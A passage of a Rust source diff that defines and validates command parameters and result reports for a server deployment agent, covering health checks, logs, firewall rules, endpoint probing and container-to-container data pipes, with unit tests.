+} + +/// Request to configure iptables firewall rules on the target server +#[derive(Debug, Deserialize, Serialize, Clone)] +pub struct ConfigureFirewallCommandRequest { + /// App code for context (optional, used for logging/tracking) + #[serde(default)] + pub app_code: Option, + /// Public ports to open (accessible from any IP) + #[serde(default)] + pub public_ports: Vec, + /// Private ports to open (restricted to specific IPs/networks) + #[serde(default)] + pub private_ports: Vec, + /// Action: "add", "remove", "list", "flush" + #[serde(default = "default_firewall_action")] + pub action: String, + /// Whether to persist rules across reboots (default: true) + #[serde(default = "default_persist_rules")] + pub persist: bool, +} + +fn default_persist_rules() -> bool { + true +} + +#[derive(Debug, Deserialize, Serialize, Clone)] +pub struct ConfigureFirewallCommandReport { + #[serde(rename = "type")] + pub command_type: String, + pub deployment_hash: String, + #[serde(default)] + pub app_code: Option, + pub status: FirewallStatus, + /// Rules that were applied/removed/listed + #[serde(default)] + pub rules: Vec, + #[serde(default)] + pub errors: Vec, +} + +#[derive(Debug, Deserialize, Serialize, Clone)] +#[serde(rename_all = "lowercase")] +pub enum FirewallStatus { + Ok, + PartialSuccess, + Failed, +} + +#[derive(Debug, Deserialize, Serialize, Clone)] +pub struct FirewallRuleResult { + pub port: u16, + pub protocol: String, + pub source: String, + pub applied: bool, + #[serde(default)] + pub message: Option, +} + +#[derive(Debug, Deserialize, Serialize, Clone)] +#[serde(rename_all = "lowercase")] +pub enum HealthStatus { + Ok, + Unhealthy, + Unknown, +} + +#[derive(Debug, Deserialize, Serialize, Clone)] +#[serde(rename_all = "lowercase")] +pub enum ContainerState { + Running, + Exited, + Starting, + Failed, + Unknown, +} + +#[derive(Debug, Deserialize, Serialize, Clone)] +pub struct HealthCommandReport { + #[serde(rename = "type")] + pub command_type: String, + pub deployment_hash: String, + pub app_code: String, + pub status: HealthStatus, + pub container_state: ContainerState, + #[serde(default)] + pub last_heartbeat_at: Option>, + #[serde(default)] + pub metrics: Option, + #[serde(default)] + pub errors: Vec, +} + +#[derive(Debug, Deserialize, Serialize, Clone)] +#[serde(rename_all = "lowercase")] +pub enum LogStream { + Stdout, + Stderr, +} + +#[derive(Debug, Deserialize, Serialize, Clone)] +pub struct LogLine { + pub ts: DateTime, + pub stream: LogStream, + pub message: String, + #[serde(default)] + pub redacted: bool, +} + +#[derive(Debug, Deserialize, Serialize, Clone)] +pub struct LogsCommandReport { + #[serde(rename = "type")] + pub command_type: String, + pub deployment_hash: String, + pub app_code: String, + #[serde(default)] + pub cursor: Option, + #[serde(default)] + pub lines: Vec, + #[serde(default)] + pub truncated: bool, +} + +#[derive(Debug, Deserialize, Serialize, Clone)] +#[serde(rename_all = "lowercase")] +pub enum RestartStatus { + Ok, + Failed, +} + +#[derive(Debug, Deserialize, Serialize, Clone)] +pub struct RestartCommandReport { + #[serde(rename = "type")] + pub command_type: String, + pub deployment_hash: String, + pub app_code: String, + pub status: RestartStatus, + pub container_state: ContainerState, + #[serde(default)] + pub errors: Vec, +} + +#[derive(Debug, Deserialize, Serialize, Clone)] +pub struct StatusPanelCommandError { + pub code: String, + pub message: String, + #[serde(default)] + pub details: Option, +} + +fn ensure_app_code(kind: &str, value: &str) -> Result<(), String> { + if value.trim().is_empty() { + return Err(format!("{}.app_code is required", kind)); + } + Ok(()) +} + +fn ensure_result_envelope( + expected_type: &str, + expected_hash: &str, + actual_type: &str, + actual_hash: &str, + app_code: &str, +) -> Result<(), String> { + if actual_type != expected_type { + return Err(format!( + "{} result must include type='{}'", + expected_type, expected_type + )); + } + if actual_hash != expected_hash { + return Err(format!("{} result deployment_hash mismatch", expected_type)); + } + // Allow "all" as a special value for health checks + if app_code != "all" { + ensure_app_code(expected_type, app_code)?; + } + Ok(()) +} + +pub fn validate_command_parameters( + command_type: &str, + parameters: &Option, +) -> Result, String> { + match command_type { + "health" => { + let value = parameters.clone().unwrap_or_else(|| json!({})); + let params: HealthCommandRequest = serde_json::from_value(value) + .map_err(|err| format!("Invalid health parameters: {}", err))?; + // Allow "all" as a special value to get all containers' health + if params.app_code != "all" { + ensure_app_code("health", ¶ms.app_code)?; + } + + serde_json::to_value(params) + .map(Some) + .map_err(|err| format!("Failed to encode health parameters: {}", err)) + } + "logs" => { + let value = parameters.clone().unwrap_or_else(|| json!({})); + let mut params: LogsCommandRequest = serde_json::from_value(value) + .map_err(|err| format!("Invalid logs parameters: {}", err))?; + ensure_app_code("logs", ¶ms.app_code)?; + + if params.limit <= 0 || params.limit > 1000 { + return Err("logs.limit must be between 1 and 1000".to_string()); + } + + if params.streams.is_empty() { + params.streams = default_log_streams(); + } + + let allowed_streams = ["stdout", "stderr"]; + if !params + .streams + .iter() + .all(|s| allowed_streams.contains(&s.as_str())) + { + return Err("logs.streams must be one of: stdout, stderr".to_string()); + } + + serde_json::to_value(params) + .map(Some) + .map_err(|err| format!("Failed to encode logs parameters: {}", err)) + } + "list_containers" => { + let value = parameters.clone().unwrap_or_else(|| json!({})); + let params: ListContainersCommandRequest = serde_json::from_value(value) + .map_err(|err| format!("Invalid list_containers parameters: {}", err))?; + + if params.include_logs && (params.log_lines == 0 || params.log_lines > 100) { + return Err("list_containers.log_lines must be between 1 and 100".to_string()); + } + + serde_json::to_value(params) + .map(Some) + .map_err(|err| format!("Failed to encode list_containers parameters: {}", err)) + } + "restart" => { + let value = parameters.clone().unwrap_or_else(|| json!({})); + let params: RestartCommandRequest = serde_json::from_value(value) + .map_err(|err| format!("Invalid restart parameters: {}", err))?; + ensure_app_code("restart", ¶ms.app_code)?; + + serde_json::to_value(params) + .map(Some) + .map_err(|err| format!("Failed to encode restart parameters: {}", err)) + } + "deploy_app" => { + let value = parameters.clone().unwrap_or_else(|| json!({})); + let params: DeployAppCommandRequest = serde_json::from_value(value) + .map_err(|err| format!("Invalid deploy_app parameters: {}", err))?; + ensure_app_code("deploy_app", ¶ms.app_code)?; + + // Validate runtime + let allowed_runtimes = ["runc", "kata"]; + if !allowed_runtimes.contains(¶ms.runtime.as_str()) { + return Err(format!( + "deploy_app: runtime must be one of: {}; got '{}'", + allowed_runtimes.join(", "), + params.runtime + )); + } + + serde_json::to_value(params) + .map(Some) + .map_err(|err| format!("Failed to encode deploy_app parameters: {}", err)) + } + "remove_app" => { + let value = parameters.clone().unwrap_or_else(|| json!({})); + let params: RemoveAppCommandRequest = serde_json::from_value(value) + .map_err(|err| format!("Invalid remove_app parameters: {}", err))?; + ensure_app_code("remove_app", ¶ms.app_code)?; + + serde_json::to_value(params) + .map(Some) + .map_err(|err| format!("Failed to encode remove_app parameters: {}", err)) + } + "configure_proxy" => { + let value = parameters.clone().unwrap_or_else(|| json!({})); + let params: ConfigureProxyCommandRequest = serde_json::from_value(value) + .map_err(|err| format!("Invalid configure_proxy parameters: {}", err))?; + ensure_app_code("configure_proxy", ¶ms.app_code)?; + + // Validate required fields + if params.domain_names.is_empty() { + return Err("configure_proxy: at least one domain_name is required".to_string()); + } + if params.forward_port == 0 { + return Err("configure_proxy: forward_port is required and must be > 0".to_string()); + } + if !["create", "update", "delete"].contains(¶ms.action.as_str()) { + return Err( + "configure_proxy: action must be one of: create, update, delete".to_string(), + ); + } + + serde_json::to_value(params) + .map(Some) + .map_err(|err| format!("Failed to encode configure_proxy parameters: {}", err)) + } + "configure_firewall" => { + let value = parameters.clone().unwrap_or_else(|| json!({})); + let params: ConfigureFirewallCommandRequest = serde_json::from_value(value) + .map_err(|err| format!("Invalid configure_firewall parameters: {}", err))?; + + // Validate action + if !["add", "remove", "list", "flush"].contains(¶ms.action.as_str()) { + return Err( + "configure_firewall: action must be one of: add, remove, list, flush" + .to_string(), + ); + } + + // Validate port rules + for rule in params + .public_ports + .iter() + .chain(params.private_ports.iter()) + { + if rule.port == 0 { + return Err("configure_firewall: port must be > 0".to_string()); + } + if !["tcp", "udp"].contains(&rule.protocol.as_str()) { + return Err("configure_firewall: protocol must be one of: tcp, udp".to_string()); + } + } + + // For add/remove, require at least one port rule (unless flush/list) + if ["add", "remove"].contains(¶ms.action.as_str()) + && params.public_ports.is_empty() + && params.private_ports.is_empty() + { + return Err( + "configure_firewall: at least one public_port or private_port is required for add/remove actions" + .to_string(), + ); + } + + serde_json::to_value(params) + .map(Some) + .map_err(|err| format!("Failed to encode configure_firewall parameters: {}", err)) + } + "probe_endpoints" => { + let value = parameters.clone().unwrap_or_else(|| json!({})); + let params: ProbeEndpointsCommandRequest = serde_json::from_value(value) + .map_err(|err| format!("Invalid probe_endpoints parameters: {}", err))?; + ensure_app_code("probe_endpoints", ¶ms.app_code)?; + + let valid_protocols = ["openapi", "html_forms", "graphql", "mcp", "rest"]; + for p in ¶ms.protocols { + if !valid_protocols.contains(&p.as_str()) { + return Err(format!( + "probe_endpoints: unsupported protocol '{}'. Valid: {:?}", + p, valid_protocols + )); + } + } + + if params.probe_timeout == 0 || params.probe_timeout > 30 { + return Err("probe_endpoints: probe_timeout must be between 1 and 30".to_string()); + } + + serde_json::to_value(params) + .map(Some) + .map_err(|err| format!("Failed to encode probe_endpoints parameters: {}", err)) + } + "check_connections" => { + let value = parameters.clone().unwrap_or_else(|| json!({})); + let params: CheckConnectionsCommandRequest = serde_json::from_value(value) + .map_err(|err| format!("Invalid check_connections parameters: {}", err))?; + serde_json::to_value(params) + .map(Some) + .map_err(|err| format!("Failed to encode check_connections parameters: {}", err)) + } + "activate_pipe" => { + let value = parameters + .clone() + .ok_or_else(|| "activate_pipe requires parameters".to_string())?; + let params: ActivatePipeCommandRequest = serde_json::from_value(value) + .map_err(|err| format!("Invalid activate_pipe parameters: {}", err))?; + + // Validate pipe_instance_id is non-empty + if params.pipe_instance_id.trim().is_empty() { + return Err("activate_pipe: pipe_instance_id is required".to_string()); + } + // Validate target: at least one of target_container, target_url, or target_adapter + if params.target_container.is_none() + && params.target_url.is_none() + && params.target_adapter.is_none() + { + return Err( + "activate_pipe: either target_container, target_url, or target_adapter is required" + .to_string(), + ); + } + // Validate trigger_type + let valid_triggers = [ + "webhook", + "poll", + "manual", + "websocket", + "ws", + "grpc", + "amqp", + "rabbitmq", + ]; + if !valid_triggers.contains(¶ms.trigger_type.as_str()) { + return Err(format!( + "activate_pipe: trigger_type must be one of: {}; got '{}'", + valid_triggers.join(", "), + params.trigger_type + )); + } + if matches!(params.trigger_type.as_str(), "amqp" | "rabbitmq") { + if params + .source_broker_url + .as_deref() + .filter(|value| !value.trim().is_empty()) + .is_none() + { + return Err( + "activate_pipe: source_broker_url is required for rabbitmq trigger_type" + .to_string(), + ); + } + if params + .source_queue + .as_deref() + .filter(|value| !value.trim().is_empty()) + .is_none() + { + return Err( + "activate_pipe: source_queue is required for rabbitmq trigger_type" + .to_string(), + ); + } + } + // Validate poll_interval for poll trigger + if params.trigger_type == "poll" + && (params.poll_interval_secs < 10 || params.poll_interval_secs > 86400) + { + return Err( + "activate_pipe: poll_interval_secs must be between 10 and 86400".to_string(), + ); + } + + serde_json::to_value(params) + .map(Some) + .map_err(|err| format!("Failed to encode activate_pipe parameters: {}", err)) + } + "deactivate_pipe" => { + let value = parameters + .clone() + .ok_or_else(|| "deactivate_pipe requires parameters".to_string())?; + let params: DeactivatePipeCommandRequest = serde_json::from_value(value) + .map_err(|err| format!("Invalid deactivate_pipe parameters: {}", err))?; + + if params.pipe_instance_id.trim().is_empty() { + return Err("deactivate_pipe: pipe_instance_id is required".to_string()); + } + + serde_json::to_value(params) + .map(Some) + .map_err(|err| format!("Failed to encode deactivate_pipe parameters: {}", err)) + } + "trigger_pipe" => { + let value = parameters + .clone() + .ok_or_else(|| "trigger_pipe requires parameters".to_string())?; + let params: TriggerPipeCommandRequest = serde_json::from_value(value) + .map_err(|err| format!("Invalid trigger_pipe parameters: {}", err))?; + + if params.pipe_instance_id.trim().is_empty() { + return Err("trigger_pipe: pipe_instance_id is required".to_string()); + } + + serde_json::to_value(params) + .map(Some) + .map_err(|err| format!("Failed to encode trigger_pipe parameters: {}", err)) + } + _ => Ok(parameters.clone()), + } +} + +pub fn validate_command_result( + command_type: &str, + deployment_hash: &str, + result: &Option, +) -> Result, String> { + match command_type { + "health" => { + let value = result + .clone() + .ok_or_else(|| "health result payload is required".to_string())?; + let report: HealthCommandReport = serde_json::from_value(value) + .map_err(|err| format!("Invalid health result: {}", err))?; + + ensure_result_envelope( + "health", + deployment_hash, + &report.command_type, + &report.deployment_hash, + &report.app_code, + )?; + + if let Some(metrics) = report.metrics.as_ref() { + if !metrics.is_object() { + return Err("health.metrics must be an object".to_string()); + } + } + + serde_json::to_value(report) + .map(Some) + .map_err(|err| format!("Failed to encode health result: {}", err)) + } + "logs" => { + let value = result + .clone() + .ok_or_else(|| "logs result payload is required".to_string())?; + let report: LogsCommandReport = serde_json::from_value(value) + .map_err(|err| format!("Invalid logs result: {}", err))?; + + ensure_result_envelope( + "logs", + deployment_hash, + &report.command_type, + &report.deployment_hash, + &report.app_code, + )?; + + serde_json::to_value(report) + .map(Some) + .map_err(|err| format!("Failed to encode logs result: {}", err)) + } + "restart" => { + let value = result + .clone() + .ok_or_else(|| "restart result payload is required".to_string())?; + let report: RestartCommandReport = serde_json::from_value(value) + .map_err(|err| format!("Invalid restart result: {}", err))?; + + ensure_result_envelope( + "restart", + deployment_hash, + &report.command_type, + &report.deployment_hash, + &report.app_code, + )?; + + serde_json::to_value(report) + .map(Some) + .map_err(|err| format!("Failed to encode restart result: {}", err)) + } + "configure_firewall" => { + let value = result + .clone() + .ok_or_else(|| "configure_firewall result payload is required".to_string())?; + let report: ConfigureFirewallCommandReport = serde_json::from_value(value) + .map_err(|err| format!("Invalid configure_firewall result: {}", err))?; + + if report.command_type != "configure_firewall" { + return Err( + "configure_firewall result must include type='configure_firewall'".to_string(), + ); + } + if report.deployment_hash != deployment_hash { + return Err("configure_firewall result deployment_hash mismatch".to_string()); + } + + serde_json::to_value(report) + .map(Some) + .map_err(|err| format!("Failed to encode configure_firewall result: {}", err)) + } + "probe_endpoints" => { + let value = result + .clone() + .ok_or_else(|| "probe_endpoints result payload is required".to_string())?; + let report: ProbeEndpointsCommandReport = serde_json::from_value(value) + .map_err(|err| format!("Invalid probe_endpoints result: {}", err))?; + + if report.command_type != "probe_endpoints" { + return Err( + "probe_endpoints result must include type='probe_endpoints'".to_string() + ); + } + if report.deployment_hash != deployment_hash { + return Err("probe_endpoints result deployment_hash mismatch".to_string()); + } + + serde_json::to_value(report) + .map(Some) + .map_err(|err| format!("Failed to encode probe_endpoints result: {}", err)) + } + "activate_pipe" => { + let value = result + .clone() + .ok_or_else(|| "activate_pipe result payload is required".to_string())?; + let report: ActivatePipeCommandReport = serde_json::from_value(value) + .map_err(|err| format!("Invalid activate_pipe result: {}", err))?; + + if report.command_type != "activate_pipe" { + return Err("activate_pipe result must include type='activate_pipe'".to_string()); + } + if report.deployment_hash != deployment_hash { + return Err("activate_pipe result deployment_hash mismatch".to_string()); + } + + serde_json::to_value(report) + .map(Some) + .map_err(|err| format!("Failed to encode activate_pipe result: {}", err)) + } + "deactivate_pipe" => { + let value = result + .clone() + .ok_or_else(|| "deactivate_pipe result payload is required".to_string())?; + let report: DeactivatePipeCommandReport = serde_json::from_value(value) + .map_err(|err| format!("Invalid deactivate_pipe result: {}", err))?; + + if report.command_type != "deactivate_pipe" { + return Err( + "deactivate_pipe result must include type='deactivate_pipe'".to_string() + ); + } + if report.deployment_hash != deployment_hash { + return Err("deactivate_pipe result deployment_hash mismatch".to_string()); + } + + serde_json::to_value(report) + .map(Some) + .map_err(|err| format!("Failed to encode deactivate_pipe result: {}", err)) + } + "trigger_pipe" => { + let value = result + .clone() + .ok_or_else(|| "trigger_pipe result payload is required".to_string())?; + let report: TriggerPipeCommandReport = serde_json::from_value(value) + .map_err(|err| format!("Invalid trigger_pipe result: {}", err))?; + + if report.command_type != "trigger_pipe" { + return Err("trigger_pipe result must include type='trigger_pipe'".to_string()); + } + if report.deployment_hash != deployment_hash { + return Err("trigger_pipe result deployment_hash mismatch".to_string()); + } + + // Validate trigger_type if present + let valid_trigger_types = [ + "manual", + "webhook", + "poll", + "replay", + "websocket", + "ws", + "grpc", + "amqp", + "rabbitmq", + ]; + if !valid_trigger_types.contains(&report.trigger_type.as_str()) { + return Err(format!( + "trigger_pipe: trigger_type must be one of: {}; got '{}'", + valid_trigger_types.join(", "), + report.trigger_type + )); + } + + serde_json::to_value(report) + .map(Some) + .map_err(|err| format!("Failed to encode trigger_pipe result: {}", err)) + } + _ => Ok(result.clone()), + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Pipe: probe_endpoints +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +fn default_probe_protocols() -> Vec { + vec![ + "openapi".to_string(), + "html_forms".to_string(), + "rest".to_string(), + ] +} + +fn default_probe_timeout() -> u32 { + 5 +} + +/// Request to probe a container for connectable API endpoints +#[derive(Debug, Deserialize, Serialize, Clone)] +pub struct ProbeEndpointsCommandRequest { + /// App code to probe + pub app_code: String, + /// Optional container/service name override + #[serde(default)] + pub container: Option, + /// Protocols to probe: "openapi", "html_forms", "graphql", "mcp", "rest" + #[serde(default = "default_probe_protocols")] + pub protocols: Vec, + /// Timeout per probe request in seconds + #[serde(default = "default_probe_timeout")] + pub probe_timeout: u32, + /// Whether to capture sample responses from discovered endpoints + #[serde(default)] + pub capture_samples: bool, +} + +/// A discovered API endpoint +#[derive(Debug, Deserialize, Serialize, Clone)] +pub struct ProbeEndpoint { + #[serde(default)] + pub container: Option, + pub protocol: String, + pub base_url: String, + pub spec_url: String, + pub operations: Vec, +} + +/// A single API operation (path + method + fields) +#[derive(Debug, Deserialize, Serialize, Clone)] +pub struct ProbeOperation { + pub path: String, + pub method: String, + #[serde(default)] + pub summary: String, + #[serde(default)] + pub fields: Vec, + /// Sample response captured during probing (when capture_samples=true) + #[serde(default)] + pub sample_response: Option, +} + +/// Metadata about an attempted probe run or probe target. +#[derive(Debug, Deserialize, Serialize, Clone)] +pub struct ProbeAttempt { + #[serde(default)] + pub scope: String, + #[serde(default)] + pub selector: Option, + #[serde(default)] + pub container: Option, + #[serde(default)] + pub protocols: Vec, + #[serde(default)] + pub outcome: String, +} + +/// A discovered HTML form +#[derive(Debug, Deserialize, Serialize, Clone)] +pub struct ProbeForm { + #[serde(default)] + pub container: Option, + pub id: String, + pub action: String, + pub method: String, + pub fields: Vec, +} + +/// A matched container in a local probe run +#[derive(Debug, Deserialize, Serialize, Clone)] +pub struct ProbeContainer { + pub name: String, + #[serde(default)] + pub image: String, + #[serde(default)] + pub network: String, + #[serde(default)] + pub ports: Vec, + #[serde(default)] + pub addresses: Vec, +} + +/// A discovered non-HTTP resource (DB table, queue, topic, stream, etc.) +#[derive(Debug, Deserialize, Serialize, Clone)] +pub struct ProbeResource { + #[serde(default)] + pub container: String, + pub protocol: String, + #[serde(default)] + pub address: String, + #[serde(default)] + pub items: Vec, +} + +/// A single discovered resource item +#[derive(Debug, Deserialize, Serialize, Clone)] +pub struct ProbeResourceItem { + pub resource_type: String, + pub name: String, + #[serde(default)] + pub summary: String, + #[serde(default)] + pub fields: Vec, +} + +/// Request parameters for the `check_connections` command. +/// +/// All fields are optional — when `ports` is omitted the agent checks the +/// common HTTP/HTTPS ports (80, 443, 8080, 3000, 8443). +#[derive(Debug, Deserialize, Serialize, Clone, Default)] +pub struct CheckConnectionsCommandRequest { + /// Specific TCP ports to check for active connections. + /// Defaults to the common HTTP/HTTPS set when not provided. + #[serde(default)] + pub ports: Option>, +} + +/// Result of probing a container for endpoints +#[derive(Debug, Deserialize, Serialize, Clone)] +pub struct ProbeEndpointsCommandReport { + #[serde(rename = "type")] + pub command_type: String, + pub deployment_hash: String, + pub app_code: String, + pub protocols_detected: Vec, + #[serde(default)] + pub protocols_requested: Vec, + #[serde(default)] + pub containers: Vec, + pub endpoints: Vec, + #[serde(default)] + pub resources: Vec, + pub forms: Vec, + #[serde(default)] + pub probe_attempts: Vec, + #[serde(default)] + pub target_kind: Option, + pub probed_at: String, +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Pipe: activate_pipe / deactivate_pipe / trigger_pipe +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Request to activate a pipe instance on the agent +#[derive(Debug, Deserialize, Serialize, Clone)] +pub struct ActivatePipeCommandRequest { + /// UUID of the pipe instance to activate + pub pipe_instance_id: String, + /// Optional typed source adapter reference for connector-style transports + #[serde(default)] + pub source_adapter: Option, + /// Source container name + #[serde(default)] + pub source_container: Option, + /// Source endpoint path to watch + #[serde(default = "default_pipe_source_endpoint")] + pub source_endpoint: String, + /// Source HTTP method (GET, POST, etc.) + #[serde(default = "default_source_method")] + pub source_method: String, + /// Broker URL for broker-backed source activation + #[serde(default)] + pub source_broker_url: Option, + /// Broker queue for AMQP / RabbitMQ source activation + #[serde(default)] + pub source_queue: Option, + /// Optional exchange to bind when consuming broker-backed sources + #[serde(default)] + pub source_exchange: Option, + /// Optional routing key used when binding broker-backed sources + #[serde(default)] + pub source_routing_key: Option, + /// Target container name (for internal pipes) + #[serde(default)] + pub target_container: Option, + /// Target external URL (for external pipes) + #[serde(default)] + pub target_url: Option, + /// Optional typed target adapter reference for connector-style transports + #[serde(default)] + pub target_adapter: Option, + /// Target endpoint path + #[serde(default = "default_pipe_target_endpoint")] + pub target_endpoint: String, + /// Target HTTP method + #[serde(default = "default_target_method")] + pub target_method: String, + /// Field mapping (JSONPath expressions) + #[serde(default)] + pub field_mapping: Option, + /// Trigger type: "webhook", "poll", "manual" + #[serde(default = "default_trigger_type")] + pub trigger_type: String, + /// Poll interval in seconds (only for trigger_type=poll) + #[serde(default = "default_poll_interval")] + pub poll_interval_secs: u32, +} + +fn default_source_method() -> String { + "GET".to_string() +} +fn default_pipe_source_endpoint() -> String { + "/".to_string() +} +fn default_target_method() -> String { + "POST".to_string() +} +fn default_pipe_target_endpoint() -> String { + "/".to_string() +} +fn default_trigger_type() -> String { + "webhook".to_string() +} +fn default_poll_interval() -> u32 { + 300 +} +fn default_trigger_type_manual() -> String { + "manual".to_string() +} + +/// Request to deactivate a pipe instance on the agent +#[derive(Debug, Deserialize, Serialize, Clone)] +pub struct DeactivatePipeCommandRequest { + /// UUID of the pipe instance to deactivate + pub pipe_instance_id: String, +} + +/// Request to trigger a pipe instance manually (one-shot execution) +#[derive(Debug, Deserialize, Serialize, Clone)] +pub struct TriggerPipeCommandRequest { + /// UUID of the pipe instance to trigger + pub pipe_instance_id: String, + /// Optional input data to feed into the pipe (overrides source fetch) + #[serde(default)] + pub input_data: Option, + /// Optional typed source adapter reference for connector-style transports + #[serde(default)] + pub source_adapter: Option, + /// Optional source container override + #[serde(default)] + pub source_container: Option, + /// Optional source endpoint override + #[serde(default = "default_pipe_source_endpoint")] + pub source_endpoint: String, + /// Optional source method override + #[serde(default = "default_source_method")] + pub source_method: String, + /// Optional external target override + #[serde(default)] + pub target_url: Option, + /// Optional typed target adapter reference for connector-style transports + #[serde(default)] + pub target_adapter: Option, + /// Optional internal target override + #[serde(default)] + pub target_container: Option, + /// Optional target endpoint override + #[serde(default = "default_pipe_target_endpoint")] + pub target_endpoint: String, + /// Optional target method override + #[serde(default = "default_target_method")] + pub target_method: String, + /// Optional field mapping override + #[serde(default)] + pub field_mapping: Option, + /// Trigger type reported back by the agent + #[serde(default = "default_trigger_type_manual")] + pub trigger_type: String, +} + +/// Result of a pipe activation +#[derive(Debug, Deserialize, Serialize, Clone)] +pub struct ActivatePipeCommandReport { + #[serde(rename = "type")] + pub command_type: String, + pub deployment_hash: String, + pub pipe_instance_id: String, + #[serde(default)] + pub status: Option, + #[serde(default)] + pub active: Option, + #[serde(default)] + pub replaced: Option, + #[serde(default)] + pub reactivated: Option, + #[serde(default = "default_trigger_type")] + pub trigger_type: String, + /// Agent-assigned listener ID (for webhook type) or schedule ID (for poll type) + #[serde(default)] + pub listener_id: Option, + #[serde(default)] + pub activated_at: Option, + #[serde(default)] + pub lifecycle: Option, +} + +/// Result of a pipe deactivation +#[derive(Debug, Deserialize, Serialize, Clone)] +pub struct DeactivatePipeCommandReport { + #[serde(rename = "type")] + pub command_type: String, + pub deployment_hash: String, + pub pipe_instance_id: String, + #[serde(default)] + pub status: Option, + #[serde(default)] + pub active: Option, + #[serde(default)] + pub removed: Option, + #[serde(default)] + pub deactivated_at: Option, + #[serde(default)] + pub lifecycle: Option, +} + +/// Result of a pipe trigger (one-shot execution) +#[derive(Debug, Deserialize, Serialize, Clone)] +pub struct TriggerPipeCommandReport { + #[serde(rename = "type")] + pub command_type: String, + pub deployment_hash: String, + pub pipe_instance_id: String, + pub success: bool, + /// Data read from source + #[serde(default)] + pub source_data: Option, + /// Transformed data sent to target + #[serde(default)] + pub mapped_data: Option, + /// Response from target + #[serde(default)] + pub target_response: Option, + /// Error message if failed + #[serde(default)] + pub error: Option, + pub triggered_at: String, + /// Trigger type: manual, webhook, poll + #[serde(default = "default_trigger_type_manual")] + pub trigger_type: String, + #[serde(default)] + pub lifecycle: Option, +} + +#[cfg(test)] +mod tests { + use super::*; + + fn fixture(path: &str) -> serde_json::Value { + let body = match path { + "activate_pipe.webhook.command.json" => include_str!( + "../../tests/fixtures/pipe-contract/activate_pipe.webhook.command.json" + ), + "activate_pipe.rabbitmq.command.json" => include_str!( + "../../tests/fixtures/pipe-contract/activate_pipe.rabbitmq.command.json" + ), + "activate_pipe.adapter.command.json" => include_str!( + "../../tests/fixtures/pipe-contract/activate_pipe.adapter.command.json" + ), + "deactivate_pipe.command.json" => { + include_str!("../../tests/fixtures/pipe-contract/deactivate_pipe.command.json") + } + "trigger_pipe.manual.command.json" => { + include_str!("../../tests/fixtures/pipe-contract/trigger_pipe.manual.command.json") + } + "trigger_pipe.adapter.command.json" => { + include_str!("../../tests/fixtures/pipe-contract/trigger_pipe.adapter.command.json") + } + "trigger_pipe.replay.command.json" => { + include_str!("../../tests/fixtures/pipe-contract/trigger_pipe.replay.command.json") + } + "activate_pipe.success.report.json" => { + include_str!("../../tests/fixtures/pipe-contract/activate_pipe.success.report.json") + } + "deactivate_pipe.success.report.json" => include_str!( + "../../tests/fixtures/pipe-contract/deactivate_pipe.success.report.json" + ), + "trigger_pipe.success.report.json" => { + include_str!("../../tests/fixtures/pipe-contract/trigger_pipe.success.report.json") + } + "trigger_pipe.failure.report.json" => { + include_str!("../../tests/fixtures/pipe-contract/trigger_pipe.failure.report.json") + } + "trigger_pipe.replay.report.json" => { + include_str!("../../tests/fixtures/pipe-contract/trigger_pipe.replay.report.json") + } + "trigger_pipe.smtp_adapter.report.json" => include_str!( + "../../tests/fixtures/pipe-contract/trigger_pipe.smtp_adapter.report.json" + ), + "npm_credentials.v1_email_password.json" => { + include_str!("../../tests/fixtures/npm_credentials/v1_email_password.json") + } + other => panic!("unknown fixture: {}", other), + }; + + serde_json::from_str(body).expect("fixture should be valid json") + } + + #[test] + fn health_parameters_apply_defaults() { + let params = validate_command_parameters( + "health", + &Some(json!({ + "app_code": "web" + })), + ) + .expect("health params should validate") + .expect("health params must be present"); + + assert_eq!(params["app_code"], "web"); + assert_eq!(params["include_metrics"], true); + } + + #[test] + fn logs_parameters_validate_streams() { + let err = validate_command_parameters( + "logs", + &Some(json!({ + "app_code": "api", + "streams": ["stdout", "weird"] + })), + ) + .expect_err("invalid stream should fail"); + + assert!(err.contains("logs.streams")); + } + + #[test] + fn list_containers_defaults_apply() { + let params = validate_command_parameters("list_containers", &Some(json!({}))) + .expect("list_containers params should validate") + .expect("list_containers params must be present"); + + assert_eq!(params["include_health"], true); + assert_eq!(params["include_logs"], false); + assert_eq!(params["log_lines"], 10); + } + + #[test] + fn list_containers_log_lines_validate() { + let err = validate_command_parameters( + "list_containers", + &Some(json!({ + "include_logs": true, + "log_lines": 0 + })), + ) + .expect_err("invalid log_lines should fail"); + + assert!(err.contains("log_lines")); + } + + #[test] + fn health_result_requires_matching_hash() { + let err = validate_command_result( + "health", + "hash_a", + &Some(json!({ + "type": "health", + "deployment_hash": "hash_b", + "app_code": "web", + "status": "ok", + "container_state": "running", + "errors": [] + })), + ) + .expect_err("mismatched hash should fail"); + + assert!(err.contains("deployment_hash")); + } + + #[test] + fn firewall_parameters_validate_action() { + let err = validate_command_parameters( + "configure_firewall", + &Some(json!({ + "action": "invalid_action", + "public_ports": [{"port": 80}] + })), + ) + .expect_err("invalid action should fail"); + + assert!(err.contains("action must be one of")); + } + + #[test] + fn firewall_parameters_validate_port() { + let err = validate_command_parameters( + "configure_firewall", + &Some(json!({ + "action": "add", + "public_ports": [{"port": 0, "protocol": "tcp"}] + })), + ) + .expect_err("port 0 should fail"); + + assert!(err.contains("port must be > 0")); + } + + #[test] + fn firewall_parameters_validate_protocol() { + let err = validate_command_parameters( + "configure_firewall", + &Some(json!({ + "action": "add", + "public_ports": [{"port": 80, "protocol": "invalid"}] + })), + ) + .expect_err("invalid protocol should fail"); + + assert!(err.contains("protocol must be one of")); + } + + #[test] + fn firewall_parameters_require_ports_for_add() { + let err = validate_command_parameters( + "configure_firewall", + &Some(json!({ + "action": "add" + })), + ) + .expect_err("add without ports should fail"); + + assert!(err.contains("at least one public_port or private_port")); + } + + #[test] + fn firewall_parameters_list_does_not_require_ports() { + let result = validate_command_parameters( + "configure_firewall", + &Some(json!({ + "action": "list" + })), + ) + .expect("list without ports should succeed"); + + assert!(result.is_some()); + } + + #[test] + fn firewall_parameters_valid_public_port() { + let result = validate_command_parameters( + "configure_firewall", + &Some(json!({ + "action": "add", + "public_ports": [ + {"port": 80, "protocol": "tcp", "source": "0.0.0.0/0"}, + {"port": 443, "protocol": "tcp"} + ] + })), 